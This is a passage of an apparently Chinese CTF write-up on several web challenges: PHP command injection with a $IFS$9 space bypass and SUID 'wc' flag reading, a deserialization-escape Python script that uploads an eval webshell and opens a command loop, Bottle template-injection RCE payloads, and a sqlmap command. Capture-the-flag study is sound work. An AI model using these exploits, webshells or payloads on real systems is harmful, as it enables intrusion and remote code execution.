        if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
            $this->logger->log("User $username authenticated");
            return "User $username authenticated";
        }
        return "Authentication failed";
    }
}

class StringUtils {
    public static function sanitize($input) {
        return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    }

    public static function generateRandomString($length = 10) {
        return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
    }
}

class InputValidator {
    private $maxLength;

    public function __construct($maxLength) {
        $this->maxLength = $maxLength;
    }

    public function validate($input) {
        if (strlen($input) > $this->maxLength) {
            return "Input exceeds maximum length of {$this->maxLength} characters";
        }
        return true;
    }
}

class CommandExecutor {
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function execute($input) {
        if (strpos($input, ' ') !== false) {
            $this->logger->log("Invalid input: space detected");
            die('No spaces allowed');
        }

        @exec($input, $output);
        $this->logger->log("Result: $input");
        return implode("\n", $output);
    }
}

class ActionHandler {
    private $config;
    private $logger;
    private $executor;

    public function __construct($config, $logger) {
        $this->config = $config;
        $this->logger = $logger;
        $this->executor = new CommandExecutor($logger);
    }

    public function handle($action, $input) {
        if (!in_array($action, $this->config->get('allowed_actions'))) {
            return "Invalid action";
        }

        if ($action === 'run') {
            $validator = new InputValidator($this->config->get('max_input_length'));
            $validationResult = $validator->validate($input);
            if ($validationResult !== true) {
                return $validationResult;
            }

            return $this->executor->execute($input);
        } elseif ($action === 'debug') {
            return "Debug mode enabled";
        } elseif ($action === 'generate') {
            return "Random string: " . StringUtils::generateRandomString(15);
        }

        return "Unknown action";
    }
}

if (isset($_REQUEST['action'])) {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));

    $actionHandler = new ActionHandler($config, $logger);
    $input = $_REQUEST['input'] ?? '';
    echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));
    $userManager = new UserManager($logger);

    if (isset($_POST['register'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->addUser($username, $password);
    }

    if (isset($_POST['login'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->authenticate($username, $password);
    }

    $logger->log("No action provided, running default logic");
}

分析代码以后,其实我们只需要利用以下代码,就能够执行命令:

class CommandExecutor {
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function execute($input) {
        if (strpos($input, ' ') !== false) {
            $this->logger->log("Invalid input: space detected");
            die('No spaces allowed');
        }

        @exec($input, $output);
        $this->logger->log("Result: $input");
        return implode("\n", $output);
    }
}
class ActionHandler {
    private $config;
    private $logger;
    private $executor;

    public function __construct($config, $logger) {
        $this->config = $config;
        $this->logger = $logger;
        $this->executor = new CommandExecutor($logger);
    }

    public function handle($action, $input) {
        if (!in_array($action, $this->config->get('allowed_actions'))) {
            return "Invalid action";
        }

        if ($action === 'run') {
            $validator = new InputValidator($this->config->get('max_input_length'));
            $validationResult = $validator->validate($input);
            if ($validationResult !== true) {
                return $validationResult;
            }

            return $this->executor->execute($input);
        } elseif ($action === 'debug') {
            return "Debug mode enabled";
        } elseif ($action === 'generate') {
            return "Random string: " . StringUtils::generateRandomString(15);
        }

        return "Unknown action";
    }
}

关键点可能在ActionHandler类中的handle方法,特别是当action为’run’时。这里会调用CommandExecutor的execute方法。

所以执行命令的payload:

/?action=run&&input=命令

请注意,这里的命令里面,不能出现空格,可以用$IFS$9来进行绕过。

这里我选择进行反弹shell,

成功反弹,现在就是看flag。但是由于我们自己权限不能够去读flag。这里还要考虑提权,但是已经给了wc了

猜得不错,也就是要用其进行suid提权。

 ./wc --files0-from "/flag"

成功拿到flag。

Escape!

下载源码后,我们先进行代码审计:

login.php:

<?php
ini_set('display_errors', 0);
error_reporting(0);
include "waf.php";
include "class.php";
include "db.php";
$username=$_POST["username"];
$password=$_POST["password"];

$SQL=new Database();
function login($db,$username,$password)
{
    $data=$db->query("SELECT * FROM users WHERE username = ?",[$username]);

    if(empty($data)){
        die("<script>alert('用户不存在')</script><script>window.location.href = 'index.html'</script>");
    }
    if($data[0]['password']!==md5($password)){
        die("<script>alert('密码错误')</script><script>window.location.href = 'index.html'</script>");
    }
    if($data[0]['username']==='admin') {
        $user = new User($username, true);
    }
    else{
        $user = new User($username, false);
    }
    return $user;
}

function setSignedCookie($serializedData, $cookieName = 'user_token', $secretKey = 'fake_secretKey') {
    $signature = hash_hmac('sha256', $serializedData, $secretKey);

    $token = base64_encode($serializedData . '|' . $signature);

    setcookie($cookieName, $token, time() + 3600, "/");  // 设置有效期为1小时
}

$User=login($SQL,$username,$password);

$User_ser=waf(serialize($User));

setSignedCookie($User_ser);

header("Location: dashboard.php");

?>


我们注意到

$User_ser=waf(serialize($User));

存在一个序列化用户名的过程。然后还调用了一个waf函数

查看waf.php

<?php

function waf($c)
{
    $lists=["flag","'","\\","sleep","and","||","&&","select","union"];
    foreach($lists as $list){
        $c=str_replace($list,"error",$c);
    }
    #echo $c;
    return $c;
}

遇见老朋友了

str_replace($list,"error",$c);

明显这个地方,可能会涉及到php反序列化逃逸,但是目前,我们并不知道到到底逃逸啥。只能继续分析代码

dashbord.php:

<?php
ini_set('display_errors', 0);
error_reporting(0);
include "class.php";
function checkSignedCookie($cookieName = 'user_token', $secretKey = 'fake_secretkey') {
    // 获取 Cookie 内容
    if (isset($_COOKIE[$cookieName])) {
        $token = $_COOKIE[$cookieName];

        // 解码并分割数据和签名
        $decodedToken = base64_decode($token);
        list($serializedData, $providedSignature) = explode('|', $decodedToken);

        // 重新计算签名
        $calculatedSignature = hash_hmac('sha256', $serializedData, $secretKey);

        // 比较签名是否一致
        if ($calculatedSignature === $providedSignature) {
            // 签名验证通过,返回序列化的数据
            return $serializedData;  // 反序列化数据
        } else {
            // 签名验证失败
            return false;
        }
    }
    return false;  // 如果没有 Cookie
}

// 示例:验证并读取 Cookie
$userData = checkSignedCookie();
if ($userData) {
    #echo $userData;
    $user=unserialize($userData);
    #var_dump($user);
    if($user->isadmin){
        $tmp=file_get_contents("tmp/admin.html");

        echo $tmp;

        if($_POST['txt']) {
        	$content = '<?php exit; ?>';
		$content .= $_POST['txt'];
		file_put_contents($_POST['filename'], $content);
        }
    }
    else{
        $tmp=file_get_contents("tmp/admin.html");
        echo $tmp;
    	if($_POST['txt']||$_POST['filename']){
        echo "<h1>权限不足,写入失败<h1>";
}
    }
} else {
    echo 'token验证失败';
}

明显,这个地方,可以写入文件,但是这里也提示了需要权限,肯定普通用户是不行的。我们先注册一个正常的用户,查看其user_token。

那我们肯定要逃逸,让其"isadmin"字段变成1

所以现在要进行反序列化逃逸,然后在dashbord写入shell,只是需要绕过<?php exit();?>

逃逸后的用户名:

flag'''''";s:7:"isadmin";b:1;}

攻击代码:

import requests
import base64

# 目标 URL
base_url = "xxxx"  # 替换为实际的目标 URL

# 注册信息
username = "flag'''''\";s:7:\"isadmin\";b:1;}"  # 注意:用户名中包含5个单引号
password = "123"

# Webshell 信息
webshell_filename = "shell.php"
webshell_content = "aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw=="  # <?php eval($_POST[a]);?> 的 base64 编码
webshell_url = f"{base_url}/{webshell_filename}"

# 创建 session 对象,用于保持 Cookie
session = requests.Session()


def register():
    """注册用户"""
    register_url = f"{base_url}/register.php"
    data = {
        "username": username,
        "password": password,
        "confirm_password": password
    }
    response = session.post(register_url, data=data)
    if "注册成功" in response.text:
        print("[+] 注册成功!")
        return True  # 注册成功
    elif "用户名已存在" in response.text:
        print("[+] 用户名已存在,尝试直接登录...")
        return False  # 用户名已存在
    else:
        print("[-] 注册失败!")
        print(response.text)
        exit()


def login():
    """登录"""
    login_url = f"{base_url}/login.php"
    data = {
        "username": username,
        "password": password
    }
    response = session.post(login_url, data=data)
    # print("[+] 登录响应头:")
    # print(response.headers)

    # 检查登录是否成功(更可靠的方法是检查是否返回了 dashboard.php 的内容)
    if "文件写入器" in response.text:
        print("[+] 登录成功 (可能需要手动跳转)!")

        # 手动跳转到 dashboard.php
        dashboard_url = f"{base_url}/dashboard.php"
        dashboard_response = session.get(dashboard_url)  # 使用 session.get()

        # 检查是否成功进入 dashboard.php (管理员权限)
        if "文件写入器" in dashboard_response.text:
            print("[+] 成功进入 dashboard.php (管理员权限)!")
            return True  # 登录成功
        else:
            print("[-] 进入 dashboard.php 失败!")
            print(dashboard_response.text)
            exit()
    else:
        print("[-] 登录失败!")
        # print(response.text)
        return False  # 登录失败


def upload_webshell():
    """上传 Webshell"""
    upload_url = f"{base_url}/dashboard.php"
    data = {
        "filename": f"php://filter/write=convert.base64-decode/resource={webshell_filename}",
        "txt": webshell_content
    }
    response = session.post(upload_url, data=data)
    # print(response.text) #调试用的,可以看看返回了啥。
    if "success" in response.text:
        print("[+] 上传成功,但是可能没有回显")
    elif "权限不足" in response.text:
        print("[-] 上传失败,权限不足!")
        exit()
    else:
        print("[+] 上传文件成功!")


def execute_command(command):
    """执行命令"""
    data = {
        "a": command  # 连接密码是 a
    }
    response = session.post(webshell_url, data=data)
    # 提取命令执行结果(根据实际情况调整)
    output = response.text
    print(f"[+] 命令执行结果:\n{output}")


def command_loop():
    """进入命令执行循环"""
    print("[+] 进入命令执行模式,输入 'exit' 或 'quit' 退出。")
    while True:
        command = input(">>> ")
        if command.lower() in ["exit", "quit"]:
            break
        execute_command(command)

if __name__ == "__main__":
    if not login():  # 先尝试登录
        register()  # 如果登录失败,再注册
        login()

    upload_webshell()  # 上传 Webshell
    command_loop()  # 进入命令执行循环

成功绕过执行。

Message in a Bottle

下载附件读取源码:

from bottle import Bottle, request, template, run


app = Bottle()

# 存储留言的列表
messages = []
def handle_message(message):
    message_items = "".join([f"""
        <div class="message-card">
            <div class="message-content">{msg}</div>
            <small class="message-time">#{idx + 1} - 刚刚</small>
        </div>
    """ for idx, msg in enumerate(message)])

    board = f"""<!DOCTYPE html>
    <html lang="zh">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>简约留言板</title>
        <link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet">
         <style>
            :root {{
                --primary-color: #4a90e2;
                --hover-color: #357abd;
                --background-color: #f8f9fa;
                --card-background: #ffffff;
                --shadow-color: rgba(0, 0, 0, 0.1);
            }}

            body {{
                background: var(--background-color);
                min-height: 100vh;
                padding: 2rem 0;
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            }}

            .container {{
                max-width: 800px;
                background: var(--card-background);
                border-radius: 15px;
                box-shadow: 0 4px 6px var(--shadow-color);
                padding: 2rem;
                margin-top: 2rem;
                animation: fadeIn 0.5s ease-in-out;
            }}

            @keyframes fadeIn {{
                from {{ opacity: 0; transform: translateY(20px); }}
                to {{ opacity: 1; transform: translateY(0); }}
            }}

            .message-card {{
                background: var(--card-background);
                border-radius: 10px;
                padding: 1.5rem;
                margin: 1rem 0;
                transition: all 0.3s ease;
                border-left: 4px solid var(--primary-color);
                box-shadow: 0 2px 4px var(--shadow-color);
            }}

            .message-card:hover {{
                transform: translateX(10px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            .message-content {{
                font-size: 1.1rem;
                color: #333;
                line-height: 1.6;
                margin-bottom: 0.5rem;
            }}

            .message-time {{
                color: #6c757d;
                font-size: 0.9rem;
                display: block;
                margin-top: 0.5rem;
            }}

            textarea {{
                width: 100%;
                height: 120px;
                padding: 1rem;
                border: 2px solid #e9ecef;
                border-radius: 10px;
                resize: vertical;
                font-size: 1rem;
                transition: border-color 0.3s ease;
            }}

            textarea:focus {{
                border-color: var(--primary-color);
    outline: none;
                box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);
            }}

            .btn-custom {{
                background: var(--primary-color);
                color: white;
                padding: 0.8rem 2rem;
                border-radius: 10px;
                border: none;
                transition: all 0.3s ease;
                font-weight: 500;
                text-transform: uppercase;
                letter-spacing: 0.05rem;
            }}

            .btn-custom:hover {{
                background: var(--hover-color);
                transform: translateY(-2px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            h1 {{
                color: var(--primary-color);
                text-align: center;
                margin-bottom: 2rem;
                font-weight: 600;
                font-size: 2.5rem;
                text-shadow: 2px 2px 4px var(--shadow-color);
            }}

            .btn-danger {{
                transition: all 0.3s ease;
                padding: 0.6rem 1.5rem;
                border-radius: 10px;
                text-transform: uppercase;
                letter-spacing: 0.05rem;
            }}

            .btn-danger:hover {{
                transform: translateY(-2px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            .text-muted {{
                font-style: italic;
                color: #6c757d !important;
            }}

            @media (max-width: 576px) {{
                h1 {{
                    font-size: 2rem;
                }}
                .container {{
                    padding: 1.5rem;
                }}
                .message-card {{
                    padding: 1rem;
                }}
            }}
        </style>
    </head>
    <body>
        <div class="container">
            <div class="d-flex justify-content-between align-items-center mb-4">
                <h1 class="mb-0">📝 简约留言板</h1>
                <a 
                    href="/Clean" 
                    class="btn btn-danger"
                    onclick="return confirm('确定要清空所有留言吗?此操作不可恢复!')"
                >
                    🗑️ 一键清理
                </a>
            </div>

            <form action="/submit" method="post">
                <textarea 
                    name="message" 
                    placeholder="输入payload暴打出题人"
                    required
                ></textarea>
                <div class="d-grid gap-2">
                    <button type="submit" class="btn-custom">发布留言</button>
                </div>
            </form>

            <div class="message-list mt-4">
                <div class="d-flex justify-content-between align-items-center mb-3">
                    <h4 class="mb-0">最新留言({len(message)}条)</h4>
                    {f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else ''}
                </div>
                {message_items}
            </div>
        </div>
    </body>
    </html>"""
    return board



def waf(message):
    return message.replace("{", "").replace("}", "")


@app.route('/')
def index():
    return template(handle_message(messages))


@app.route('/Clean')
def Clean():
    global messages
    messages = []
    return '<script>window.location.href="/"</script>'

@app.route('/submit', method='POST')
def submit():
    message = waf(request.forms.get('message'))
    messages.append(message)
    return template(handle_message(messages))


if __name__ == '__main__':
    run(app, host='localhost', port=9000)

这是bottle引擎,这里我们需要进行rce,由于之前没怎么接触过这个引擎,给出大家文档,可以自行阅读。

https://www.osgeo.cn/bottle/stpl.html

其实还是考的渲染导致的rce,和ssti差不多,但是执行方式,以及触发方式大不相同。

针对这个题目,阅读到一个重要的地方:

可以通过这个条件进行rce。

<div>
 % if __import__('os').system("echo xxx | base64 -d|bash"):
    <span>content</span>
 % end
</div>

这里是没有回显的,但是由于这个题目出网,所以可以进行反弹shell但是遇到不出网的项目,又该怎么办呢,只能考虑打内存马进去了。

<div>
 % if __import__('bottle').abort(404,__import__('os').popen("cat /fl*").read()):
    <span>content</span>
 % end
</div>

比如接下来这题

Message in a Bottle plus

还是一样的bottle框架,只不过加了许多调试,并且题目并不出网,经过测试得到能用的payload:

"""
  % if __import__('bottle').response.set_header('X-Result', __import__('os').popen("cat /f*").read()):
1
  % end
"""

这里由于他把标签过滤了,可以用另一种方式:"""xxx"""这样被三个双引号包裹即可。
三引号包裹 的内容会被当作 多行字符串 处理,但其中的模板指令仍会被解析执行。

import ast
import re

from bottle import Bottle, request, template, run


app = Bottle()

# 存储留言的列表



def waf(message):
    # 保留原有基础过滤
    filtered = message.replace("{", "").replace("}", "").replace(">", "").replace("<", "")

    # 预处理混淆特征
    cleaned = re.sub(r'[\'"`\\]', '', filtered)  # 清除引号和反斜杠
    cleaned = re.sub(r'/\*.*?\*/', '', cleaned)  # 去除注释干扰

    # 增强型sleep检测正则(覆盖50+种变形)
    sleep_pattern = r'''(?xi)
(
    # 基础关键词变形检测
    \b
    s[\s\-_]*l[\s\-_]*e[\s\-_]*e[\s\-_]*p+  # 允许分隔符:s-l-e-e-p
    | s(?:l3|1|i)(?:3|e)(?:3|e)p            # 字符替换:sl33p/s1eep
    | (?:sl+e+p|slee+p|sle{2,}p)            # 重复字符:sleeeeep
    | (?:s+|5+)(?:l+|1+)(?:e+|3+){2}(?:p+|9+)  # 全替换变体:5l33p9
    
    # 模块调用检测(含动态导入)
    | (?:time|os|subprocess|ctypes|signal)\s*\.\s*(?:sleep|system|wait)\s*\(.*?\)
    | __import__\s*\(\s*[\'"](?:time|os)[\'"]\s*\)\.\s*\w+\s*\(.*?\)
    | getattr\s*\(\s*\w+\s*,\s*[\'"]sleep[\'"]\s*\)\s*\(.*?\)
    
    # 编码检测(Hex/Base64/URL/Unicode)
    | (?:\\x73|%73|%u0073)(?:\\x6c|%6c|%u006c)(?:\\x65|%65|%u0065){2}(?:\\x70|%70|%u0070)  # HEX/URL编码
    | YWZ0ZXI=.*?(?:c2xlZXA=|czNlM3A=)  # Base64多层编码匹配(sleep的常见编码)
    | %s(l|1)(e|3){2}p%                # 混合编码
    
    # 动态执行检测(修复括号闭合)
    | (?:eval|exec|compile)\s*\(.*?(?:sl(?:ee|3{2})p|['"]\\x73\\x6c\\x65\\x65\\x70).*?\) 
    
    # 系统调用检测(Linux/Windows)
    | /bin/(?:sleep|sh)\b
    | (?:cmd\.exe\s+/c|powershell)\s+.*?(?:Start-Sleep|timeout)\b
    
    # 混淆写法
    | s\/leep\b     # 路径混淆
    | s\.\*leep      # 通配符干扰
    | s<!--leep      # 注释干扰
    | s\0leep        # 空字节干扰
    | base64
    | base32
    | decode
    | \+
)
'''



    if re.search(sleep_pattern, cleaned):
        return "检测到非法时间操作!"
    if re.search('eval', cleaned):
        return "eval会让我报错"

    # AST语法树检测增强
    class SleepDetector(ast.NodeVisitor):
        def visit_Call(self, node):
            # 检测直接调用 sleep()
            if hasattr(node.func, 'id') and 'sleep' in node.func.id.lower():
                raise ValueError

            # 检测 time.sleep() 等模块调用
            if isinstance(node.func, ast.Attribute):
                if node.func.attr == 'sleep' and \
                        isinstance(node.func.value, ast.Name) and \
                        node.func.value.id in ('time', 'os'):
                    raise ValueError

            self.generic_visit(node)

    try:
        # 保留原有语法检测
        tree = ast.parse(filtered)
        SleepDetector().visit(tree)
    except (SyntaxError, ValueError):
        # 保持原有错误提示
        return "检测某种语法错误,防留言板报错系统启动"

    return filtered


@app.route('/')
def index():
    return template(handle_message(messages))


@app.route('/Clean')
def Clean():
    global messages
    messages = []
    return '<script>window.location.href="/"</script>'

@app.route('/submit', method='POST')
def submit():
    message = waf(request.forms.get('message'))
    messages.append(message)
    return template(handle_message(messages))


if __name__ == '__main__':
    run(app, host='0.0.0.0', port=8080,debug=True)

SQL???

这里虽然对sqlmap存在过滤,但是也只是通过user-agent进行的过滤,加一个--random-agent即可

sqlmap -u xxxx?id=1 --random-agent --batch
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值